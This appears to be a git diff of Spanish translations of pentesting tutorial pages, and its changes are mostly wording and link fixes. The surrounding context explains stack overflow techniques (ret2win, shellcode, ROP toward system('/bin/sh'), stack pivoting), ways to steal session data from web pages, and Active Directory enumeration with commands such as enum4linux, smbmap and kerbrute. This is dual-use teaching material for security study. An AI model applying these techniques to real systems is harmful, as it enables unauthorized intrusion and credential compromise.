@@ -47,22 +47,22 @@ pattern create 200 #Generate length 200 pattern
 pattern search "avaaawaa" #Search for the offset of that substring
 pattern search $rsp #Search the offset given the content of $rsp
 ```
-## Explotación de desbordamientos de pila
+## Explotación de Desbordamientos de Pila
 
-Durante un desbordamiento (suponiendo que el tamaño del desbordamiento sea lo suficientemente grande) podrás sobrescribir los valores de las variables locales dentro de la pila hasta alcanzar el EBP/RBP y EIP/RIP guardados (o incluso más).\
+Durante un desbordamiento (suponiendo que el tamaño del desbordamiento sea lo suficientemente grande) podrás sobrescribir valores de variables locales dentro de la pila hasta alcanzar el EBP/RBP y EIP/RIP guardados (o incluso más).\
 La forma más común de abusar de este tipo de vulnerabilidad es **modificando la dirección de retorno** para que cuando la función termine, **el flujo de control se redirija a donde el usuario especificó** en este puntero.
 
 Sin embargo, en otros escenarios, tal vez solo **sobrescribir algunos valores de variables en la pila** podría ser suficiente para la explotación (como en desafíos CTF fáciles).
 
 ### Ret2win
 
-En este tipo de desafíos CTF, hay una **función** **dentro** del binario que **nunca se llama** y que **necesitas llamar para ganar**. Para estos desafíos solo necesitas encontrar el **desplazamiento para sobrescribir la dirección de retorno** y **encontrar la dirección de la función** a llamar (generalmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/) estaría deshabilitado) para que cuando la función vulnerable regrese, se llame a la función oculta:
+En este tipo de desafíos CTF, hay una **función** **dentro** del binario que **nunca se llama** y que **necesitas llamar para ganar**. Para estos desafíos solo necesitas encontrar el **desplazamiento para sobrescribir la dirección de retorno** y **encontrar la dirección de la función** a llamar (generalmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) estaría deshabilitado) para que cuando la función vulnerable regrese, se llame a la función oculta:
 
 {{#ref}}
 ret2win.md
 {{#endref}}
 
-### Shellcode en la pila
+### Shellcode en la Pila
 
 En este escenario, el atacante podría colocar un shellcode en la pila y abusar del EIP/RIP controlado para saltar al shellcode y ejecutar código arbitrario:
 
@@ -80,7 +80,7 @@ rop-return-oriented-programing.md
 
 ## Tipos de protecciones
 
-Existen varias protecciones que intentan prevenir la explotación de vulnerabilidades, consúltalas en:
+Hay varias protecciones que intentan prevenir la explotación de vulnerabilidades, consúltalas en:
 
 {{#ref}}
 ../common-binary-protections-and-bypasses/

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md

@@ -71,6 +71,6 @@ print(p.recvline())                        # should receive "Awesome work!"
 
 ### ¿Por Qué No Usar libc Directamente?
 
-Por lo general, estos casos también son vulnerables a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), pero a veces necesitas controlar más parámetros de los que se pueden controlar fácilmente con los gadgets que encuentras directamente en libc. Por ejemplo, la función `write()` requiere tres parámetros, y **encontrar gadgets para establecer todos estos directamente puede no ser posible**.
+Por lo general, estos casos también son vulnerables a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), pero a veces necesitas controlar más parámetros de los que se pueden controlar fácilmente con los gadgets que encuentras directamente en libc. Por ejemplo, la función `write()` requiere tres parámetros, y **encontrar gadgets para establecer todos estos directamente puede no ser posible**.
 
 {{#include ../../../banners/hacktricks-training.md}}

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md

@@ -6,7 +6,7 @@
 
 **Debido a que el ESP (Puntero de Pila) siempre apunta a la parte superior de la pila**, esta técnica implica reemplazar el EIP (Puntero de Instrucción) con la dirección de una instrucción **`jmp esp`** o **`call esp`**. Al hacer esto, el shellcode se coloca justo después del EIP sobrescrito. Cuando se ejecuta la instrucción `ret`, el ESP apunta a la siguiente dirección, precisamente donde se almacena el shellcode.
 
-Si **Address Space Layout Randomization (ASLR)** no está habilitado en Windows o Linux, es posible utilizar instrucciones `jmp esp` o `call esp` que se encuentran en bibliotecas compartidas. Sin embargo, con [**ASLR**](../common-binary-protections-and-bypasses/aslr/) activo, puede ser necesario buscar dentro del programa vulnerable en sí para encontrar estas instrucciones (y es posible que necesites derrotar [**PIE**](../common-binary-protections-and-bypasses/pie/)).
+Si **Address Space Layout Randomization (ASLR)** no está habilitado en Windows o Linux, es posible utilizar instrucciones `jmp esp` o `call esp` que se encuentran en bibliotecas compartidas. Sin embargo, con [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) activo, es posible que se necesite buscar dentro del programa vulnerable en sí para encontrar estas instrucciones (y es posible que necesites derrotar [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)).
 
 Además, poder colocar el shellcode **después de la corrupción del EIP**, en lugar de en medio de la pila, asegura que cualquier instrucción `push` o `pop` ejecutada durante la operación de la función no interfiera con el shellcode. Esta interferencia podría ocurrir si el shellcode se colocara en medio de la pila de la función.
 
@@ -52,7 +52,7 @@ Puedes encontrar un ejemplo aquí: [https://ir0nstone.gitbook.io/notes/types/sta
 ## Protecciones
 
 - [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Si la pila no es ejecutable, esto no ayudará ya que necesitamos colocar el shellcode en la pila y saltar para ejecutarlo.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Estos pueden dificultar encontrar una instrucción para saltar a esp o cualquier otro registro.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) y [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Estos pueden dificultar encontrar una instrucción para saltar a esp o cualquier otro registro.
 
 ## Referencias
 

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md

@@ -34,7 +34,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 - `-m32`: Compila el programa como un binario de 32 bits (esto es opcional pero común en desafíos CTF).
 - `-fno-stack-protector`: Desactiva las protecciones contra desbordamientos de pila.
 - `-z execstack`: Permite la ejecución de código en la pila.
-- `-no-pie`: Desactiva el ejecutable independiente de posición para asegurar que la dirección de la función `win` no cambie.
+- `-no-pie`: Desactiva el ejecutable independiente de la posición para asegurar que la dirección de la función `win` no cambie.
 - `-o vulnerable`: Nombra el archivo de salida `vulnerable`.
 
 ### Python Exploit usando Pwntools
@@ -65,12 +65,12 @@ objdump -d vulnerable | grep win
 ```
 Este comando te mostrará el ensamblaje de la función `win`, incluyendo su dirección de inicio. 
 
-El script de Python envía un mensaje cuidadosamente elaborado que, al ser procesado por la `vulnerable_function`, desborda el búfer y sobrescribe la dirección de retorno en la pila con la dirección de `win`. Cuando `vulnerable_function` retorna, en lugar de regresar a `main` o salir, salta a `win`, y se imprime el mensaje.
+El script de Python envía un mensaje cuidadosamente elaborado que, al ser procesado por la `vulnerable_function`, desborda el búfer y sobrescribe la dirección de retorno en la pila con la dirección de `win`. Cuando `vulnerable_function` retorna, en lugar de regresar a `main` o salir, salta a `win`, y el mensaje se imprime.
 
 ## Protecciones
 
-- [**PIE**](../common-binary-protections-and-bypasses/pie/) **debería estar deshabilitado** para que la dirección sea confiable a través de ejecuciones o la dirección donde se almacenará la función no siempre será la misma y necesitarías alguna filtración para averiguar dónde se carga la función win. En algunos casos, cuando la función que causa el desbordamiento es `read` o similar, puedes hacer un **Sobrescritura Parcial** de 1 o 2 bytes para cambiar la dirección de retorno a la función win. Debido a cómo funciona ASLR, los últimos tres nibble hexadecimales no están aleatorizados, por lo que hay una **1/16 de probabilidad** (1 nibble) de obtener la dirección de retorno correcta.
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) también deberían estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida.
+- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **debe estar deshabilitado** para que la dirección sea confiable a través de ejecuciones o la dirección donde se almacenará la función no siempre será la misma y necesitarías alguna filtración para averiguar dónde se carga la función win. En algunos casos, cuando la función que causa el desbordamiento es `read` o similar, puedes hacer un **Partial Overwrite** de 1 o 2 bytes para cambiar la dirección de retorno a la función win. Debido a cómo funciona ASLR, los últimos tres nibble hexadecimales no están aleatorizados, por lo que hay una **1/16 de probabilidad** (1 nibble) de obtener la dirección de retorno correcta.
+- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) también deben estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida.
 
 ## Otros ejemplos y Referencias
 
@@ -82,7 +82,7 @@ El script de Python envía un mensaje cuidadosamente elaborado que, al ser proce
 - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
 - 64 bits, sin ASLR
 - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
-- 32 bits, sin ASLR, doble desbordamiento pequeño, primero para desbordar la pila y aumentar el tamaño del segundo desbordamiento
+- 32 bits, sin ASLR, doble pequeño desbordamiento, primero para desbordar la pila y aumentar el tamaño del segundo desbordamiento
 - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
 - 32 bits, relro, sin canario, nx, sin pie, cadena de formato para sobrescribir la dirección `fflush` con la función win (ret2win)
 - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md

@@ -37,7 +37,7 @@ Primero, supongamos que hemos identificado los gadgets necesarios dentro del bin
 Usando **pwntools**, preparamos la pila para la ejecución de la cadena ROP de la siguiente manera, con el objetivo de ejecutar `system('/bin/sh')`, nota cómo la cadena comienza con:
 
 1. Una instrucción `ret` para propósitos de alineación (opcional)
-2. Dirección de la función `system` (suponiendo ASLR deshabilitado y libc conocido, más información en [**Ret2lib**](ret2lib/))
+2. Dirección de la función `system` (suponiendo ASLR deshabilitado y libc conocida, más información en [**Ret2lib**](ret2lib/index.html))
 3. Marcador de posición para la dirección de retorno de `system()`
 4. Dirección de la cadena `"/bin/sh"` (parámetro para la función system)
 ```python
@@ -75,11 +75,11 @@ p.interactive()
 ```
 ## Cadena ROP en x64 Ejemplo
 
-### **x64 (64-bit) Convenciones de llamada**
+### **x64 (64 bits) Convenciones de llamada**
 
-- Utiliza la convención de llamada **System V AMD64 ABI** en sistemas similares a Unix, donde los **primeros seis argumentos enteros o punteros se pasan en los registros `RDI`, `RSI`, `RDX`, `RCX`, `R8` y `R9`**. Los argumentos adicionales se pasan en la pila. El valor de retorno se coloca en `RAX`.
+- Utiliza la convención de llamada **System V AMD64 ABI** en sistemas tipo Unix, donde los **primeros seis argumentos enteros o punteros se pasan en los registros `RDI`, `RSI`, `RDX`, `RCX`, `R8` y `R9`**. Los argumentos adicionales se pasan en la pila. El valor de retorno se coloca en `RAX`.
 - La convención de llamada **Windows x64** utiliza `RCX`, `RDX`, `R8` y `R9` para los primeros cuatro argumentos enteros o punteros, con argumentos adicionales pasados en la pila. El valor de retorno se coloca en `RAX`.
-- **Registros**: Los registros de 64 bits incluyen `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, y `R8` a `R15`.
+- **Registros**: Los registros de 64 bits incluyen `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` y `R8` a `R15`.
 
 #### **Encontrando Gadgets**
 
@@ -144,8 +144,8 @@ En este ejemplo:
 
 ## Protecciones
 
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/)
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)
+- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html)
 
 ## Otros Ejemplos y Referencias
 
@@ -153,7 +153,7 @@ En este ejemplo:
 
 ## Técnicas basadas en ROP
 
-Ten en cuenta que ROP es solo una técnica para ejecutar código arbitrario. Basado en ROP se desarrollaron muchas técnicas Ret2XXX:
+Nota que ROP es solo una técnica para ejecutar código arbitrario. Basado en ROP se desarrollaron muchas técnicas Ret2XXX:
 
 - **Ret2lib**: Usa ROP para llamar a funciones arbitrarias de una biblioteca cargada con parámetros arbitrarios (generalmente algo como `system('/bin/sh')`.
 

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

@@ -18,12 +18,12 @@ Y como el **EBP está en la pila** antes del EIP, es posible controlarlo control
 
 Esta técnica es particularmente útil cuando puedes **alterar el registro EBP pero no tienes una forma directa de cambiar el registro EIP**. Aprovecha el comportamiento de las funciones cuando terminan de ejecutarse.
 
-Si, durante la ejecución de `fvuln`, logras inyectar un **EBP falso** en la pila que apunta a un área en memoria donde se encuentra la dirección de tu shellcode (más 4 bytes para tener en cuenta la operación `pop`), puedes controlar indirectamente el EIP. A medida que `fvuln` retorna, el ESP se establece en esta ubicación creada, y la siguiente operación `pop` disminuye el ESP en 4, **haciendo que apunte efectivamente a una dirección almacenada por el atacante allí.**\
-Nota cómo **necesitas conocer 2 direcciones**: La que donde va a ir el ESP, donde necesitarás escribir la dirección a la que apunta el ESP.
+Si, durante la ejecución de `fvuln`, logras inyectar un **EBP falso** en la pila que apunta a un área en memoria donde se encuentra la dirección de tu shellcode (más 4 bytes para tener en cuenta la operación `pop`), puedes controlar indirectamente el EIP. A medida que `fvuln` retorna, el ESP se establece en esta ubicación manipulada, y la siguiente operación `pop` disminuye el ESP en 4, **haciendo que apunte efectivamente a una dirección almacenada por el atacante allí.**\
+Nota cómo **necesitas conocer 2 direcciones**: La que donde el ESP va a ir, donde necesitarás escribir la dirección a la que apunta el ESP.
 
 #### Construcción del Exploit
 
-Primero necesitas conocer una **dirección donde puedas escribir datos / direcciones arbitrarias**. El ESP apuntará aquí y **ejecutará el primer `ret`**.
+Primero necesitas conocer una **dirección donde puedes escribir datos / direcciones arbitrarias**. El ESP apuntará aquí y **ejecutará el primer `ret`**.
 
 Luego, necesitas conocer la dirección utilizada por `ret` que **ejecutará código arbitrario**. Podrías usar:
 
@@ -46,14 +46,14 @@ Ahora, el **`ESP`** está controlado apuntando a una dirección deseada y la sig
 
 - **`&(next fake EBP)`** -> Cargar el nuevo EBP debido a `pop ebp` de la instrucción `leave`.
 - **`system()`** -> Llamado por `ret`.
-- **`&(leave;ret)`** -> Llamado después de que termine el sistema, moverá el ESP al EBP falso y comenzará de nuevo.
+- **`&(leave;ret)`** -> Llamado después de que el sistema termina, moverá el ESP al EBP falso y comenzará de nuevo.
 - **`&("/bin/sh")`**-> Parámetro para `system`.
 
 Básicamente, de esta manera es posible encadenar varios EBP falsos para controlar el flujo del programa.
 
-Esto es como un [ret2lib](ret2lib/), pero más complejo sin un beneficio aparente, pero podría ser interesante en algunos casos límite.
+Esto es como un [ret2lib](ret2lib/index.html), pero más complejo sin un beneficio aparente, pero podría ser interesante en algunos casos límite.
 
-Además, aquí tienes un [**ejemplo de un desafío**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) que utiliza esta técnica con un **leak de pila** para llamar a una función ganadora. Este es el payload final de la página:
+Además, aquí tienes un [**ejemplo de un desafío**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) que utiliza esta técnica con un **leak de pila** para llamar a una función ganadora. Esta es la carga útil final de la página:
 ```python
 from pwn import *
 
@@ -91,7 +91,7 @@ print(p.recvline())
 ```
 ## EBP es inútil
 
-Como [**se explica en esta publicación**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), si un binario se compila con algunas optimizaciones, el **EBP nunca controla ESP**, por lo tanto, cualquier exploit que funcione controlando EBP básicamente fallará porque no tiene un efecto real.\
+Como [**se explica en esta publicación**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), si un binario se compila con algunas optimizaciones, el **EBP nunca controla ESP**, por lo tanto, cualquier exploit que funcione controlando EBP básicamente fallará porque no tiene ningún efecto real.\
 Esto se debe a que los **cambios de prólogo y epílogo** si el binario está optimizado.
 
 - **No optimizado:**
@@ -120,7 +120,7 @@ ret                 # return
 
 ### **`pop rsp`** gadget
 
-[**En esta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puedes encontrar un ejemplo usando esta técnica. Para este desafío era necesario llamar a una función con 2 argumentos específicos, y había un **`pop rsp` gadget** y hay un **leak de la pila**:
+[**En esta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puedes encontrar un ejemplo usando esta técnica. Para este desafío era necesario llamar a una función con 2 argumentos específicos, y había un **`pop rsp` gadget** y hay una **leak de la pila**:
 ```python
 # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
 # This version has added comments

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md

@@ -4,7 +4,7 @@
 
 ## Información Básica
 
-**Stack shellcode** es una técnica utilizada en la explotación binaria donde un atacante escribe shellcode en la pila de un programa vulnerable y luego modifica el **Puntero de Instrucción (IP)** o **Puntero de Instrucción Extendida (EIP)** para que apunte a la ubicación de este shellcode, provocando su ejecución. Este es un método clásico utilizado para obtener acceso no autorizado o ejecutar comandos arbitrarios en un sistema objetivo. Aquí hay un desglose del proceso, incluyendo un ejemplo simple en C y cómo podrías escribir un exploit correspondiente usando Python con **pwntools**.
+**Stack shellcode** es una técnica utilizada en la explotación binaria donde un atacante escribe shellcode en la pila de un programa vulnerable y luego modifica el **Puntero de Instrucción (IP)** o **Puntero de Instrucción Extendida (EIP)** para apuntar a la ubicación de este shellcode, lo que provoca su ejecución. Este es un método clásico utilizado para obtener acceso no autorizado o ejecutar comandos arbitrarios en un sistema objetivo. Aquí hay un desglose del proceso, incluyendo un ejemplo simple en C y cómo podrías escribir un exploit correspondiente usando Python con **pwntools**.
 
 ### Ejemplo en C: Un Programa Vulnerable
 
@@ -28,7 +28,7 @@ Este programa es vulnerable a un desbordamiento de búfer debido al uso de la fu
 
 ### Compilación
 
-Para compilar este programa deshabilitando varias protecciones (para simular un entorno vulnerable), puedes usar el siguiente comando:
+Para compilar este programa mientras desactivas varias protecciones (para simular un entorno vulnerable), puedes usar el siguiente comando:
 ```sh
 gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 ```
@@ -68,13 +68,13 @@ p.interactive()
 ```
 Este script construye una carga útil que consiste en un **NOP slide**, el **shellcode**, y luego sobrescribe el **EIP** con la dirección que apunta al NOP slide, asegurando que el shellcode se ejecute.
 
-El **NOP slide** (`asm('nop')`) se utiliza para aumentar la probabilidad de que la ejecución "deslice" hacia nuestro shellcode independientemente de la dirección exacta. Ajusta el argumento `p32()` a la dirección inicial de tu buffer más un desplazamiento para aterrizar en el NOP slide.
+El **NOP slide** (`asm('nop')`) se utiliza para aumentar la probabilidad de que la ejecución "deslice" hacia nuestro shellcode independientemente de la dirección exacta. Ajusta el argumento `p32()` a la dirección de inicio de tu buffer más un desplazamiento para aterrizar en el NOP slide.
 
 ## Protecciones
 
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **debe estar deshabilitado** para que la dirección sea confiable a través de ejecuciones o la dirección donde se almacenará la función no siempre será la misma y necesitarías alguna filtración para averiguar dónde se carga la función win.
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) también deben estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida.
-- La protección de **stack** [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) impediría la ejecución del shellcode dentro de la pila porque esa región no será ejecutable.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **debe estar deshabilitado** para que la dirección sea confiable a través de ejecuciones o la dirección donde se almacenará la función no siempre será la misma y necesitarías alguna filtración para averiguar dónde se carga la función win.
+- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) también deben estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida.
+- La protección **stack** de [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) impediría la ejecución del shellcode dentro de la pila porque esa región no será ejecutable.
 
 ## Otros Ejemplos y Referencias
 

src/stealing-sensitive-information-disclosure-from-a-web.md

@@ -1,13 +1,13 @@
-# Robo de Información Sensible a través de una Web
+# Robo de Divulgación de Información Sensible desde una Web
 
 {{#include ./banners/hacktricks-training.md}}
 
-Si en algún momento encuentras una **página web que te presenta información sensible basada en tu sesión**: Tal vez esté reflejando cookies, o imprimiendo detalles de tarjetas de crédito o cualquier otra información sensible, puedes intentar robarla.\
+Si en algún momento encuentras una **página web que te presenta información sensible basada en tu sesión**: Tal vez esté reflejando cookies, o imprimiendo detalles de tarjetas de crédito u otra información sensible, puedes intentar robarla.\
 Aquí te presento las principales formas en que puedes intentar lograrlo:
 
-- [**CORS bypass**](pentesting-web/cors-bypass.md): Si puedes eludir los encabezados CORS, podrás robar la información realizando una solicitud Ajax a una página maliciosa.
-- [**XSS**](pentesting-web/xss-cross-site-scripting/): Si encuentras una vulnerabilidad XSS en la página, es posible que puedas abusar de ella para robar la información.
-- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): Si no puedes inyectar etiquetas XSS, aún puedes robar la información utilizando otras etiquetas HTML regulares.
+- [**CORS bypass**](pentesting-web/cors-bypass.md): Si puedes eludir los encabezados CORS, podrás robar la información realizando una solicitud Ajax para una página maliciosa.
+- [**XSS**](pentesting-web/xss-cross-site-scripting/index.html): Si encuentras una vulnerabilidad XSS en la página, es posible que puedas abusar de ella para robar la información.
+- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/index.html): Si no puedes inyectar etiquetas XSS, aún puedes robar la información utilizando otras etiquetas HTML regulares.
 - [**Clickjaking**](pentesting-web/clickjacking.md): Si no hay protección contra este ataque, es posible que puedas engañar al usuario para que te envíe los datos sensibles (un ejemplo [aquí](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
 
 {{#include ./banners/hacktricks-training.md}}

src/todo/stealing-sensitive-information-disclosure-from-a-web.md

@@ -1,13 +1,13 @@
-# Robo de Información Sensible desde una Web
+# Robo de Divulgación de Información Sensible desde una Web
 
 {{#include ../banners/hacktricks-training.md}}
 
-Si en algún momento encuentras una **página web que te presenta información sensible basada en tu sesión**: Tal vez esté reflejando cookies, o imprimiendo detalles de tarjetas de crédito o cualquier otra información sensible, puedes intentar robarla.\
+Si en algún momento encuentras una **página web que te presenta información sensible basada en tu sesión**: Tal vez esté reflejando cookies, o imprimiendo detalles de tarjetas de crédito u otra información sensible, puedes intentar robarla.\
 Aquí te presento las principales formas en que puedes intentar lograrlo:
 
-- [**CORS bypass**](../pentesting-web/cors-bypass.md): Si puedes eludir los encabezados CORS, podrás robar la información realizando una solicitud Ajax a una página maliciosa.
-- [**XSS**](../pentesting-web/xss-cross-site-scripting/): Si encuentras una vulnerabilidad XSS en la página, es posible que puedas abusar de ella para robar la información.
-- [**Danging Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/): Si no puedes inyectar etiquetas XSS, aún puedes robar la información utilizando otras etiquetas HTML regulares.
+- [**CORS bypass**](../pentesting-web/cors-bypass.md): Si puedes eludir los encabezados CORS, podrás robar la información realizando una solicitud Ajax para una página maliciosa.
+- [**XSS**](../pentesting-web/xss-cross-site-scripting/index.html): Si encuentras una vulnerabilidad XSS en la página, es posible que puedas abusar de ella para robar la información.
+- [**Danging Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/index.html): Si no puedes inyectar etiquetas XSS, aún puedes robar la información utilizando otras etiquetas HTML regulares.
 - [**Clickjaking**](../pentesting-web/clickjacking.md): Si no hay protección contra este ataque, es posible que puedas engañar al usuario para que te envíe los datos sensibles (un ejemplo [aquí](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
 
 {{#include ../banners/hacktricks-training.md}}

src/windows-hardening/active-directory-methodology/README.md

@@ -16,13 +16,13 @@ Los conceptos clave dentro de **Active Directory** incluyen:
 4. **Árbol** – Un agrupamiento de dominios que comparten un dominio raíz común.
 5. **Bosque** – La cúspide de la estructura organizativa en Active Directory, compuesta por varios árboles con **relaciones de confianza** entre ellos.
 
-**Active Directory Domain Services (AD DS)** abarca una gama de servicios críticos para la gestión y comunicación centralizada dentro de una red. Estos servicios comprenden:
+**Active Directory Domain Services (AD DS)** abarca una gama de servicios críticos para la gestión y comunicación centralizadas dentro de una red. Estos servicios comprenden:
 
 1. **Servicios de Dominio** – Centraliza el almacenamiento de datos y gestiona las interacciones entre **usuarios** y **dominios**, incluyendo funcionalidades de **autenticación** y **búsqueda**.
 2. **Servicios de Certificado** – Supervisa la creación, distribución y gestión de **certificados digitales** seguros.
 3. **Servicios de Directorio Ligero** – Soporta aplicaciones habilitadas para directorios a través del **protocolo LDAP**.
-4. **Servicios de Federación de Directorio** – Proporciona capacidades de **inicio de sesión único** para autenticar usuarios a través de múltiples aplicaciones web en una sola sesión.
-5. **Gestión de Derechos** – Ayuda a proteger material con derechos de autor regulando su distribución y uso no autorizado.
+4. **Servicios de Federación de Directorios** – Proporciona capacidades de **inicio de sesión único** para autenticar usuarios a través de múltiples aplicaciones web en una sola sesión.
+5. **Gestión de Derechos** – Ayuda a proteger material con derechos de autor regulando su distribución y uso no autorizados.
 6. **Servicio DNS** – Crucial para la resolución de **nombres de dominio**.
 
 Para una explicación más detallada, consulta: [**TechTerms - Definición de Active Directory**](https://techterms.com/definition/active_directory)
@@ -44,7 +44,7 @@ Si solo tienes acceso a un entorno AD pero no tienes credenciales/sesiones, podr
 - Escanear la red, encontrar máquinas y puertos abiertos e intentar **explotar vulnerabilidades** o **extraer credenciales** de ellas (por ejemplo, [las impresoras podrían ser objetivos muy interesantes](ad-information-in-printers.md)).
 - Enumerar DNS podría proporcionar información sobre servidores clave en el dominio como web, impresoras, comparticiones, vpn, medios, etc.
 - `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
-- Consulta la [**Metodología de Pentesting**](../../generic-methodologies-and-resources/pentesting-methodology.md) para encontrar más información sobre cómo hacer esto.
+- Echa un vistazo a la [**Metodología de Pentesting**](../../generic-methodologies-and-resources/pentesting-methodology.md) para encontrar más información sobre cómo hacer esto.
 - **Verificar acceso nulo y de invitado en servicios smb** (esto no funcionará en versiones modernas de Windows):
 - `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
 - `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
@@ -76,7 +76,7 @@ Si solo tienes acceso a un entorno AD pero no tienes credenciales/sesiones, podr
 
 ### Enumeración de usuarios
 
-- **Enumeración anónima de SMB/LDAP:** Consulta las páginas de [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/) y [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
+- **Enumeración anónima de SMB/LDAP:** Consulta las páginas de [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) y [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
 - **Enumeración Kerbrute**: Cuando se solicita un **nombre de usuario inválido**, el servidor responderá utilizando el código de error **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, lo que nos permite determinar que el nombre de usuario era inválido. **Nombres de usuario válidos** provocarán ya sea el **TGT en una respuesta AS-REP** o el error _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicando que se requiere que el usuario realice una pre-autenticación.
 ```bash
 ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@@ -113,7 +113,7 @@ Ok, así que sabes que ya tienes un nombre de usuario válido pero no contraseñ
 
 - [**ASREPRoast**](asreproast.md): Si un usuario **no tiene** el atributo _DONT_REQ_PREAUTH_, puedes **solicitar un mensaje AS_REP** para ese usuario que contendrá algunos datos encriptados por una derivación de la contraseña del usuario.
 - [**Password Spraying**](password-spraying.md): Intentemos con las contraseñas más **comunes** con cada uno de los usuarios descubiertos, tal vez algún usuario esté usando una mala contraseña (¡ten en cuenta la política de contraseñas!).
-- Ten en cuenta que también puedes **rociar servidores OWA** para intentar acceder a los servidores de correo de los usuarios.
+- Ten en cuenta que también puedes **spray servidores OWA** para intentar acceder a los servidores de correo de los usuarios.
 
 {{#ref}}
 password-spraying.md
@@ -141,7 +141,7 @@ Si puedes **acceder a otras PC o recursos compartidos** con el **usuario nulo o
 
 ## Enumerando Active Directory CON credenciales/sesión
 
-Para esta fase necesitas haber **comprometido las credenciales o una sesión de una cuenta de dominio válida.** Si tienes algunas credenciales válidas o una shell como usuario de dominio, **debes recordar que las opciones dadas antes siguen siendo opciones para comprometer a otros usuarios**.
+Para esta fase necesitas haber **comprometido las credenciales o una sesión de una cuenta de dominio válida.** Si tienes algunas credenciales válidas o una shell como usuario de dominio, **deberías recordar que las opciones dadas antes siguen siendo opciones para comprometer a otros usuarios**.
 
 Antes de comenzar la enumeración autenticada, deberías saber cuál es el **problema del doble salto de Kerberos.**
 
@@ -156,9 +156,9 @@ Haber comprometido una cuenta es un **gran paso para comenzar a comprometer todo
 Respecto a [**ASREPRoast**](asreproast.md), ahora puedes encontrar cada posible usuario vulnerable, y respecto a [**Password Spraying**](password-spraying.md), puedes obtener una **lista de todos los nombres de usuario** y probar la contraseña de la cuenta comprometida, contraseñas vacías y nuevas contraseñas prometedoras.
 
